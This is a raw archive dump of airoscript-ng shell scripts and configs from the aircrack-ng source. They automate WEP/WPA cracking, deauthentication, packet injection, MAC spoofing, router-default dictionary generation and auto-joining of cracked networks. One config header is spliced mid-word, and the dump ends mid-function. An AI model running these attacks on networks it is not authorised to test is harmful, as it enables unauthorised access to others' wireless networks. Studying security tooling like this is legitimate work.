aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/tmux0000644000000000000000000000402612272273653022374 0ustar rootroot#DEPENDS: tmux export TERMINAL=tmux interfaces+=("tmux"); export attack_notification="Attack launched, see 'Current attack' window" time_=0; execute(){ title=$1; shift; if [ "$ADDOPTIONS" != "" ]; then printf -- "Executing $@" echo read -p $"Enter extra options to execute: " eopts fi [[ $1 == "crack" ]] && { AUTO=0; QUIET=""; shift; mode=crack; } if [ "$QUIET" != "" ] || [ "$AUTO" == "1" ]; then [[ $NOTITLE ]] || warn "${mark}$title" ${@} $eopts &> /dev/null & else args="${@}"; args="${args/% /} ${eopts}" # Failsafe, this way if there's a trailing space it'll remove it before executing. [[ $wait_for_execute == 1 ]] && mode=crack; [[ $mode == "crack" ]] && { ${args}; read -p 'Press any key to continue'; mode=""; return; } [[ $title == "Help" ]] && { tmux split-window -t airoscript -h -p30 "$args" tmux select-pane -L return } [[ $time_ == 0 ]] && { tmux neww -t airoscript -n "Current attack" "$args"; tmux select-window -t Main; return } [[ $time_ == 1 ]] && { tmux splitw -v -t "Current attack" "$args"; tmux select-window -t Main; return } [[ $time_ == 2 ]] && { tmux splitw -h -t "Current attack" "$args"; tmux select-window -t Main; return } tmux splitw -h -t "Current attack" "$args"; tmux select-window -t Main; fi } export dont_check_x=1 [[ -e ~/.airoscript_tmux ]] || { tmux new -s airoscript -n "Main" -d "airoscript-ng $main_args" && tmux bind -n S-left prev tmux bind -n S-right next tmux set mouse-select-pane on tmux set mouse-select-window on pid=$$ echo $pid >> ~/.airoscript_tmux tmux at -t airoscript rm ~/.airoscript_tmux exit } && { rm ~/.airoscript_tmux } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/johntheripper0000644000000000000000000000401412320564216024245 0ustar rootroot# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. #DEPENDS: john # This is highly unmantained, as now is a plugin, you can easily modify it =) # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. check_function selectcracking || source $path/crack/main # It depends on injection module ;) p_menu+=("Crack with john the ripper"); Crack_with_john_the_ripper(){ declare -a opts jopts rules words [[ -e $WORDLIST ]] && wl="-w=$WORDLIST" mkmenu "John the ripper options" "Use autoincremental" "Use dictionary with custom rule" "Return to main menu" c=$choice; case $c in 1) opts=( "All" "Alnum" "Alpha" "Digits" "LanMan" "Return" ) [[ $choice == ${#opts} ]] && break; mkmenu "Choose incremental type" ${opts[@]} jopts+=" -incremental=${opts[$choice - 1]} " ;; 2) command grep '\[List.Rules' ~/.john/john.conf|tr -d '[]' |\ sed 's/List.Rules://g'|grep -v "#"|\ tr '\n' ' ' > $DUMP_PATH/parsed_john_config _rules=( `cat $DUMP_PATH/parsed_john_config` ); mkmenu "Rules" ${_rules[@]}; rules+="$wl -ru=${_rules[$choice - 1]} " ;; 3) break ;; esac export pipe="john ${words[@]} ${rules[@]} ${jopts[@]} -stdout |"; echo $pipe selectcracking; } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/zenity0000644000000000000000000000411012320564216022703 0ustar rootroot# Copyright (2011) David Francos Cuartero #DEPENDS: zenity # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # This can also be used as skeleton for airoscript override-functions plugin. export mark=""; export autoset=1 interfaces+=("zenity"); _source $path/plugins/xterm; warn(){ notify-send -i "$path/../doc/airoscript-ng/airoscript-ng.png" "Airoscript notification" "${@}"; } yesno(){ zenity --question $@; } single_question(){ ans=`zenity --entry --text "${@}"`; } mkmenuheader(){ return; } mkmenuline(){ return; } mkmenueline(){ return; } mkmenu(){ title=$1; shift;res=();n=0; for i in "${@}"; do n=$(( n + 1 )); [[ "$n" == 1 ]] && ST="TRUE" || ST="FALSE"; res+=( "$ST" "$n" "$i" ); done choice=`zenity --list --text "$title" --width=350 --height=400 --radiolist --column "Pick " --column "hidden" --column "Choose" --hide-column 2 "${res[@]}";` [[ $? == 1 ]] && [[ $title == "Main Menu" ]] && exit } selectap_wrapper(){ choice=`zenity --list --text "$title" --width=300 --height=500 --radiolist --column "X" --column "hidden" --column "MAC" --column "Channel" --column "Privacy" --column "POWER" --column "LENGHT" --column "ESSID" --hide-column 2 "${res[@]}"`; } launch_counter(){ ( for i in $( seq 1 $1 ); do a=$(( ($i * 100) / $1 )); sleep 1; echo "$a"; done ) | zenity --text "Scanning for targets" --progress --auto-close --title="Scanning for targets"; } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/digenpy0000644000000000000000000000675312272273653023047 0ustar rootroot# Dict generators for airoscript #DEPENDS: digenpy # Copyright (C) 2009-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. p_menu+=("Crack with dictionary generator"); digenpy_(){ [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { enc="WPA"; } || { enc="WEP"; } [[ "$3" == "crack" ]] && { execute "Cracking" crack $AIRCRACK -0 -l $DUMP_PATH/$Host_MAC.key -w $DUMP_PATH/digenpy__dic $DUMP_PATH/$Host_MAC-01.cap } || { [[ $3 == "conn_crack" ]] && { conn_crack && cp $DUMP_PATH/digenpy__dic $DUMP_PATH/$Host_MAC.key || return 1 } || { AUTO=1; QUIET=0; digenpy $1 $2 $Host_MAC $Host_SSID $enc > $DUMP_PATH/digenpy__dic; markwarn "Dictionary automatically generated present in $DUMP_PATH/digenpy__dic" AUTO=0; QUIET=""; } } } Telefonica(){ if [[ "$Host_SSID" =~ WLAN* ]]; then avail=1; [[ $test == 1 ]] && return digenpy_ Spanish Telefonica digenpy_ Spanish Telefonica crack && cracked=1 fi } Jazztel(){ if [[ "$Host_SSID" =~ JAZZTEL* ]]; then avail=1; [[ $test == 1 ]] && return [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { min_ivs=10; return; } warn $"Encription is" "$Host_ENC" digenpy_ Spanish Jazztel digenpy_ Spanish Jazztel crack && cracked=1 fi; } TelefonicaWPA(){ if [[ "$Host_SSID" =~ WLAN* ]]; then avail=1; [[ $test == 1 ]] && return digenpy_ Spanish TelefonicaWPA digenpy_ Spanish TelefonicaWPA conn_crack && cracked=1 fi } JazztelWPA(){ if [[ "$Host_SSID" =~ JAZZTEL* ]]; then avail=1; [[ $test == 1 ]] && return [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { min_ivs=10; return; } warn $"Encription is" "$Host_ENC" digenpy_ Spanish JazztelWPA digenpy_ Spanish JazztelWPA conn_crack && cracked=1 fi; } Crack_with_dictionary_generator(){ if [ "$Host_SSID" == "" ]; then $clear; echo -e $"Error: You must select a target first"; return; fi [[ "${1}" == "get_wpa" ]] && { for function in "TelefonicaWPA" "JazztelWPA" ; do $function; test=0; done return } if [ "$1" == "return_ivs" ]; then for function in "Telefonica" "Jazztel" ; do test=1; $function; test=0; [[ "$avail" == "1" ]] && return 4; done return 255 else for function in "Telefonica" "Jazztel"; do tag [[ $QUIET_DIGENPY == 1 ]] || warn "${mark}Trying $function" $function [[ "$cracked" == "1" ]] && return done if [ "$1" == "autocrack" ]; then export wait_for_execute=1; AUTO=1; selectcracking 1; AUTO=0; export wait_for_execute=0; else selectcracking fi fi } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/plugins/debug0000644000000000000000000000000512004317612022441 0ustar rootrootbash aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/extras/0000755000000000000000000000000012660222377021275 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/extras/completions/0000755000000000000000000000000012660222377023631 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/extras/completions/_airodump_ng0000644000000000000000000000131612121370415026205 0ustar rootroot_airodump-ng() { local current previous commands help_options previous=${COMP_WORDS[COMP_CWORD-1]} current="${COMP_WORDS[COMP_CWORD]}" commands="--help --ivs --gpsd --write --beacons --showack --update --berlin --channel --band --cswitch --output-format --ignore-negative-one --encrypt --bssid --netmask" help_options="setup new search show reply tag dump restore search-terms" COMPREPLY=( $(compgen -W "${commands}" -- ${current}) ) ; case "${previous}" in --bssid) COMPREPLY=(\$AIROSCRIPT_AP_MAC) ;; --encrypt) COMPREPLY=(\$AIROSCRIPT_AP_ENC);; --channel) COMPREPLY=(\$AIROSCRIPT_AP_CHAN);; esac } complete -o default -o bashdefault -F _airodump-ng airodump-ng aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/extras/completions/_aircrack_ng0000644000000000000000000000167212121370415026151 0ustar rootroot_aircrack-ng() { local current previous commands help_options previous=${COMP_WORDS[COMP_CWORD-1]} current="${COMP_WORDS[COMP_CWORD]}" commands="-w -l -C -q -p -b -e -a" wpa_commands="-E -J -S -r" wep_commands="$commands -c -t -h -d -m -n -i -f -k -x0 -x1 -x2 -y -K -s -M -D -P -1" all_commands="$wep_commands $wpa_commands" wpa_commands="$commands $wpa_commands" [[ $AIROSCRIPT_AP_ENC =~ (.*)WPA(.*) ]] && { COMPREPLY=( $(compgen -W "${wpa_commands}" -- ${current}) ) ; } || { [[ $AIROSCRIPT_AP_ENC =~ (.*)WEP(.*) ]] && { COMPREPLY=( $(compgen -W "${wep_commands}" -- ${current}) ) ; } || { COMPREPLY=( $(compgen -W "${all_commands}" -- ${current}) ) ; } } case "${previous}" in -e) COMPREPLY=(\$AIROSCRIPT_AP_NAME);; -b) COMPREPLY=(\$AIROSCRIPT_AP_MAC);; esac } complete -o default -o bashdefault -F _aircrack-ng aircrack-ng aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/conf/0000755000000000000000000000000012660222377020714 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/conf/airoscript-ng_debug.conf0000644000000000000000000000021511776654501025515 0ustar rootroot# Set up airserv-ng ssh -p6969 xayon@ssh.davidfrancos.net -L666:localhost:666 # FIXME It's just not like that. export wifi="127.0.0.1:666" aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/conf/airoscript-ng_advanced.conf0000644000000000000000000000717712121241146026170 0ustar rootroot# Copyright (C) 2009 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # ----------- External software -------------- DHCPSOFT="" # If not specified, it'll try to find the available dhcp # Software TERMINAL="airoscript_quiet" # # Deps are dynamic, depending on terminal # required_software=( "macchanger", "iw" ) # ----------- AIRCRACK_NG CONFIG #This is the rate per second at wich packets will be injected INJECTRATE="1000" #How many times the deauth attack is run DEAUTHTIME="8" #Time between re-association with target AP AUTHDELAY="100" KEEPALIVE="30" #Fudge factor setting FUDGEFACTOR="2" # ----------- AUTOPWN ------------------ # This is for the autopwn functions. attack_functions=(wep_attacks_fakeauto wep_attacks_fakeinteractive wep_attacks_chopchop wep_attacks_caffelate wep_attacks_hirte wep_attacks_arpreplay_auto wep_attacks_arpreplay_interactive wep_attacks_fragmentation wep_attacks_chopchopclient wep_attacks_pskarp) set -a autopwn_sleep autopwn_min_ivs=50000 autopwn_sleep=("8000" "6000" "6000" "6000" "6000" "6000") autopwn_tries=("3" "3" "3" "3" "3" "3") time_to_scan=12 #The path where the data is stored TMPDIR="/tmp" DUMP_PATH=`mktemp -d` #The Mac address used to associate with AP during fakeauth FAKE_MAC=$(od /dev/urandom -w6 -tx1 -An|sed -e 's/ //' -e 's/ /:/g'|head -n 1) # Random fake mac, got from commandlinefu =) Host_IP="255.255.255.255" Client_IP="255.255.255.255" # Fragmentation IP FRAG_HOST_IP="255.255.255.255" FRAG_CLIENT_IP="255.255.255.255" # Default packet size values for tkiptun-ng attack TKIPTUN_MAX_PL=100 TKIPTUN_MIN_PL=80 #Paths # Set this up for special airoscript-ng and aircrack-ng installations. # prefix="/usr/local" # Airoscript and other tools path # path="$prefix/share/airoscript-ng/" # b_prefix="/usr/local" # Aircrack-ng path #bindir="$b_prefix/bin/" # add bin to paths #sbindir="$b_prefix/sbin/" # Same TERMBIN="/usr/bin/" # If your terminal is in /usr/X11... foo, then this is for you. # -------------------------- External configuration files ------------------ # John the ripper config defaults [[ "$jtr_conf" == "" ]] && jtr_conf="~/.john/john.conf" # ---------------- Internal configurations ----------------- [[ -e /usr/local/share/locale/es_ES.UTF-8/LC_MESSAGES/airoscript-ng.mo ]] && { export TEXTDOMAINDIR=/usr/local/share/locale/ export TEXTDOMAIN=airoscript-ng } || { export TEXTDOMAINDIR=/usr/share/locale/ export TEXTDOMAIN=airoscript-ng } do_logo(){ clear; [[ $show_startup_goodie ]] && { airoscript_ascii_art 2>/dev/null ; }; } clear="do_logo" # Command to clear screen, comment to never clear screen. hold=0 # Dont close terminal windows debug=0 # Show extra info # Dont delete this CURRENT=1 cd $DUMP_PATH mkdir ~/.airoscript 2> /dev/null # Create airoscript main dir attack_notification="Attack launched, select current window menu." aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/conf/airoscript-ng.conf0000644000000000000000000000550312272273653024351 0ustar rootroot# Copyright (C) 2009 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write t#!/bin/bash # ------------- WORDLISTS ----------------------------------- WORDLIST="~/.airoscript/wordlist.txt" # Path to your wordlist file (for WPA and WEP dictionnary attack) db_location="~/.airoscript-ng/pmk.db" # Were to look for default pmk database # -------------- PLUGIN SUPPORT ------------------- enabled_plugins=( "$path/plugins/tmux" "$path/plugins/digenpy" "$path/plugins/johntheripper" "$path/plugins/mdk3" ) #------------ Wireless interfaces ----------- wifi="" iwifi="" # If you set wifi (and only then) you can specify Injection Wifi Card here. # So if you have to use different interfaces for injection and reading, use this. # Right now, is the only way to have two interfaces working: TODO FIX THIS. auto_fake_mac=1 # Set to 0 to not change mac to fake mac automatically at interface creation # -------------- Appeareance ---------------- # Theme file and other interface options theme="default.theme" export DEFAULT_MONITOR_MODE=1 # If set to 1, it won't ask to put the interface in monitor mode, it'll just do it. export SHOW_SMALL_MENU=0 # If set to 1, menu descriptions won't appear (easier to see on smallest screens) export show_only_wireless_extensions=1 # If set to one, only wireless interfaces with wireless extensions are shown. If your iface is not shown disable this. show_warning=1 # Put to zero if you don't want the usage warning to appear. show_startup_goodie=1 INTERACTIVE=0 # Set this to 0 to less asking # Help options show_help_term=1 # Enable or disable the help menu (a x-terminal showing info) # Other options force_mac_address=0 # Set this to one to override mac checking keep_exit_quiet=1 # Set to 0 to ask for various things at exit. delete_files_on_exit=0 # Set this to 0 to ask for file deletion and so on on exit, right now it will delete everything... Wich might not be what you want. export MON_PREFIX="airoscript" # Prefix to use when creating monitor interfaces. Does not work with aircrack-ng 1.1 # Uncomment this if you want it to ask you for more options every thime it execs a external tool (advanced) (slow) (useful) # ADDOPTIONS=1 aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/conf/screenrc.airoscript0000644000000000000000000000174011776654501024630 0ustar rootroot# Copyright (C) 2009 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. hardstatus alwayslastline hardstatus string '%{= kG}[ %{G}%H %{g}][%= %{= kw}%?%-Lw%?%{r} (%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}][%{B} %d/%m %{W}%c %{g}]' aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/templates/0000755000000000000000000000000012660222377021765 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/templates/start.html0000644000000000000000000000423211656063600024005 0ustar rootroot
aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/templates/stop0000644000000000000000000000001711632057531022667 0ustar rootroot aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/airoscript-ng0000644000000000000000000000765012272273653022505 0ustar rootroot#!/bin/bash # Depends: aircrack-ng, bash >= 4 # Recommends: mdk3, digenpy, macchanger, # Copyright (C) 2008 Daouid # Copyright (C) 2009-2013 David Francos Cuartero # See Authors for a more detailed authors spec. # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. main_args=$@; declare -a -x enabled_plugins declare -a p_menu declare -A extend_menu p_menu+=( "Enable plugin" ) _source(){ for cfile in $@; do if [ -f $cfile ] && [ -O $cfile ]; then source $cfile; else if [ "$debug" == 1 ]; then echo "Could not load $cfile"; sleep 0.2 ;fi; fi; done; } Enable_plugin(){ cd $path/plugins; available_plugins=(*); cd -; mkmenu "Enable plugin" "${available_plugins[@]}" _source $path/plugins/${available_plugins[$choice - 1 ]} || { warn "${mark}Unknown option or bad plugin, try again"; Enable_plugin; } #nodebug } exit_trap(){ [[ $tail_launched != 0 ]] && { tail_launched=0; return; }; check_function doexit || source $path/internal/exit; echo; echo; doexit; } Return_to_main_menu(){ mainmenu; } if [ "$UID" != 0 ]; then echo -e "You Must be root to use airoscript"; exit 1; fi; [[ ! $path ]] && { [[ $(dirname ${BASH_SOURCE[0]}) =~ "local" ]] && { path=/usr/local/share/airoscript-ng _source "/usr/local/etc/airoscript-ng_advanced.conf /usr/local/etc/airoscript-ng.conf" } || { _source "/usr/etc/airoscript-ng_advanced.conf /usr/etc/airoscript-ng.conf" _source "/etc/airoscript-ng_advanced.conf /etc/airoscript-ng.conf" path=/usr/share/airoscript-ng } } plugin_check_and_source(){ grep "#DEPENDS:" $1 &>/dev/null && { declare -a DEPS DEPS=($(grep "#DEPENDS: " $1|sed 's/#DEPENDS: //g')) for dep in ${DEPS[@]}; do type $dep &>/dev/null && { _source $1 } || { echo "${mark}Not loading $1, dependence not installed" sleep 1 } done } || _source $1 } # We preload functions, configs and themes in a cool way. _source "$path/_internal $path/menu $path/interface" _source "$path/themes/$theme" || default_theme for i in ${enabled_plugins[@]}; do plugin_check_and_source $i; done check_injection() { echo -n "${mark}Checking if interface can inject..." $AIREPLAY -9 $wifi &>/dev/null && echo "${red}success${end}" } # Setup wordlist [[ ! -e $DUMP_PATH/wordlist.txt ]] && { cp $WORDLIST $DUMP_PATH &>/dev/null; WORDLIST="$DUMP_PATH/`basename $WORDLIST`"; } trap exit_trap 1 2 3 4 5 6 7 8 10 12 13 14 15 20 # Set an exit trap to clean out all the interfaces setaircrackpaths # Set aircrack-ng paths setps # Set PS3 variable warn "${mark}Welcome to airoscript, have a nice day" check_default_software & setargs $@ # Plugins are also loaded here, so be carefull check_cardctl; #debug launch_help_fifo & setinterface "start" cleanautovars check_injection [[ "$noscan" != 1 ]] && autoscan (( $BASH_PLUGIN > 0 )) && { export AIROSCRIPT_AP_CHAN=$Host_CHAN export AIROSCRIPT_AP_ENC=$Host_ENC export AIROSCRIPT_AP_IDL=$Host_IDL export AIROSCRIPT_AP_IP=$Host_IP export AIROSCRIPT_AP_MAC=$Host_MAC export AIROSCRIPT_AP_SPEED=$Host_SPEED export AIROSCRIPT_AP_SSID=$Host_SSID export AIROSCRIPT_AP_NAME=$Host_SSID source $path/plugins/bash } || { mainmenu } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/0000755000000000000000000000000012660222377021777 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/interface0000644000000000000000000000751112271675067023674 0ustar rootroot# Interface library for airoscript. # Copyright (C) 2009-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. notify(){ tput sc msg="${@}"; x=$(( $(tput cols) - ( ${#msg} + 20 ) )); tput cup 0 $x echo $msg; tput rc notification=""; } _(){ gettext "${@}" } setps(){ $clear if [ "$1" != "" ]; then PS3="$1"; else PS3=$'Input number: '; fi } default_theme(){ markwarn $'Theme file does not exists, using defaults...' DUMPING_COLOR="#FFFFFF"; INJECTION_COLOR="#1DFF00" ASSOCIATION_COLOR="#FF0009"; DEAUTH_COLOR="#99CCFF"; BACKGROUND_COLOR="#000000" } target(){ help_fifo "${red}_______Target information______${end}\n"\ " AP SSID = $Host_SSID\n"\ " AP MAC = $Host_MAC\n"\ " AP Channel =$Host_CHAN\n"\ " Client MAC = $Client_MAC\n"\ " Fake MAC = $FAKE_MAC\n"\ " AP Encryption =$Host_ENC\n"\ " AP Speed =$Host_SPEED\n"\ "________________________________" } fill_menu(){ len=$(( $1 - $2 )); for i in `seq 0 $len`; do echo -n "$3"; done; } fill(){ menu_w="$3"; separator="$2"; title="$1"; len_1=$((${#title} + 3)) half_len_1=$(( $len_1 / 2 )) ; loop_times=$(( $menu_w / 2 - $half_len_1 )) fill_menu $loop_times 1 "$separator";echo -n "$title";fill_menu $loop_times 1 "$separator" } function mkbox(){ echo -n "+"; fill "$menu_t" "$separator_h" "$(( $max + ${#menu_t} ))" center; echo "+" } temporary_switch_clear(){ temp="$oldclear"; oldclear=$clear; clear=$temp; $@ ; clear=$oldclear } airoscript_quiet(){ mkdir -p $DUMP_PATH/Terminals/ &>/dev/null title=${1/ /_}; shift $@ &> "$DUMP_PATH/Terminals/${title}" & } vline(){ for i in `seq 0 $1`; do echo -n ${separator_v}; done; } mkmenuheader(){ echo -en "\033[$(($2 / 2 - (${#1} / 2 - 10) ))C$1\n"; } getmaxlenfromlist(){ max=0; for i in "${@}"; do [[ ${#i} -gt $max ]] && max=${#i}; done; echo $max; } mkmenueline(){ echo -en " ${separator_v}\033[${1}C${separator_v}\033[${1}D${white}${2}${red})${end} ${separator_v}";} tabulate() { for i in $(seq 0 $1); do echo -n " "; done; } mkmenulines(){ max=$1; shift; for i in "${@}"; do line=$(( $line + 1 )); mkmenueline $max $line; echo -n " "; _ "${i}"; echo; done; } mkmenu(){ if [ "$AUTO" == 2 ]; then return; fi [[ ${ERRORS} ]] && markwarn "Error:" "${ERRORS[@]}" ERRORS="" [[ ${INFOS} ]] && markwarn "Info:" "${INFOS[@]}" INFOS="" max=`getmaxlenfromlist "${@}"` max=$(( $max + 10 )) title=$1; shift; line=0; tot=${#@} f=$((`tput cols` - 10)); title=($(_ "${title}")) tabulate 10 mkmenuheader "${title[@]}" $max tabulate 10 echo -en "$separator_tl"; for i in $(seq 1 $max); do echo -en "$separator_h"; done; echo "$separator_tr"; mkmenulines $max "${@}" [[ ${extra_menus[${title/\//_}]} ]] && mkmenulines ${extra_menus[${title/\//_}]}; tabulate 10 echo -en "$separator_bl"; for i in $(seq 1 $max); do echo -en "$separator_h"; done; echo "$separator_br"; markwarn $"Select option:" set -a choice _read -a choice (( $choice > $tot )) && { ${extra_menus[$title]/ /_}; echo "Ok, sorry, that was ${#@}"; } } aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/functions/_internal0000644000000000000000000002231212216362125023666 0ustar rootroot# Internal functions file for airoscript. # Recommends: wlandecrypter # Copyright (C) 2009-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. required(){ check_function $1 || { specialwarn "${warn}${2}"; return 1; } } change_mac(){ type macchanger && { fail=$(ifconfig $1 down; $MACCHANGER $1 --mac $2 2>&1; ifconfig $1 up) } || { fail=$(ifconfig $1 down; ifconfig $1 $2 2>&1; ifconfig $1 up) } [[ $? == 0 ]] && echo -e "${mark}Interface mac set up correctly $(FAKE_MAC)" || echo -en "${mark}Unable to set interface mac: $?\n $fail" } error(){ export ERRORS="$@"; } info(){ export INFOS="$@"; } reload_config(){ return } cleanautovars(){ export AUTO=0; export QUIET=""; export INTERACTIVE=$OLDINTERACTIVE return } configure(){ if [ -O $DUMP_PATH/$Host_MAC.key ] && [ "$Host_MAC" != "" ]; then warn "${mark}Configuring network" KEY="$(cat $DUMP_PATH/$Host_MAC.key)" tag;warn "${mark}Got key: $KEY" [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { tag;warn "${mark}Configuring wpa_supplicant" wpa_passphrase $Host_SSID "$KEY" > $DUMP_PATH/$Host_MAC.wpa_supplicant; wpa_supplicant -i $wificard -B -c$DUMP_PATH/$Host_MAC.wpa_supplicant; tag; warn "${mark}Launching $DHCPSOFT to $wificard" $DHCPSOFT $wificard &>/dev/null || warn "${mark}Could not autoconfigure network" } || { tag; warn "${mark}Configuring network with iwconfig" $iwconfig $wificard essid $Host_SSID channel $Host_CHAN key $KEY &>/dev/null && { tag; warn "${mark}Launching $DHCPSOFT to $wificard" $DHCPSOFT $wificard &>/dev/null || warn "${mark}Could not autoconfigure network" && return 2 } || { warn "${mark}Could not autoconfigure network, wrong password size?"; } } else warn "You haven't cracked this network yet"; sleep 3; $clear fi } usage(){ cat << eof Usage: $(basename $0) [-h] [-t TERMINAL] [-v] [-w WIRELESS_CARD] [-b] [-m fakemac|realmac] [-a] [-n FILTER] [-x] [-z] [-p PLUGIN_FILE] options: -h Show this message -t TERMINAL Specify terminal -c Launches an interface selection menu (requires -pzenity) -v Verbose & debug mode -w wireless_card Specify wifi card -b Writes a csv file with network data. -m [fakemac|realmac] Change mac to fakemac before everything else. -a Automatic mode -n [regex] Filter SSID by regex -x Autoconfigure network after automatic crack (requires -a) -z Don't scan automatically at start -p [plugin file] Load plugin at start eof } launch_help_fifo(){ [[ -e $DUMP_PATH/help_fifo ]] || mkfifo $DUMP_PATH/help_fifo &>/dev/null execute "Help" "tail -f $DUMP_PATH/help_fifo" } help_fifo(){ clear >> $DUMP_PATH/help_fifo echo -e $@ >> $DUMP_PATH/help_fifo } function choose_interface(){ zenity --question --ok-label "Graphical" --cancel-label "Text" --text "Wich interface would you like to use?" --title "Interface selection" && load_plugins zenity } setargs(){ while getopts “bn:ht:w:zxcvm:fap:†option; do case $option in c) choose_interface ;; h) opt_functions+=(usage);; t) export TERMINAL="$OPTARG";; v) opt_functions+=(v);; w) export wificard="$OPTARG";; b) export report_mode=1;; m) opts_mac_opt="$OPTARG"; opt_functions+=(m);; a) opt_functions+=(auto);; n) export filter_ssid_="$OPTARG";; x) export options_autoconfigure=1;; z) export noscan=1;; p) load_plugins $OPTARG;; ?) opt_functions+=(usage);; esac done for i in ${opt_functions[@]}; do [[ $i == "usage" ]] && { usage; exit 1; }; done # Small hack to execute usage the first for i in ${opt_functions[@]}; do [[ $i != auto ]] && options_$i || execute_auto=1; done [[ $execute_auto ]] && options_auto; # Small hack to execute auto the lastest xD } options_m(){ opts_change_$opts_mac_opt; } opts_change_fakemac(){ wichchangemac 1; opts_wireless; } opts_change_realmac(){ checkforcemac 3; opts_wireless; } options_v(){ export debug=1; export hold=1; _source "./airoscript-ng_debug.conf ~/airoscript-ng_debug.conf /etc/airoscript-ng_debug.conf 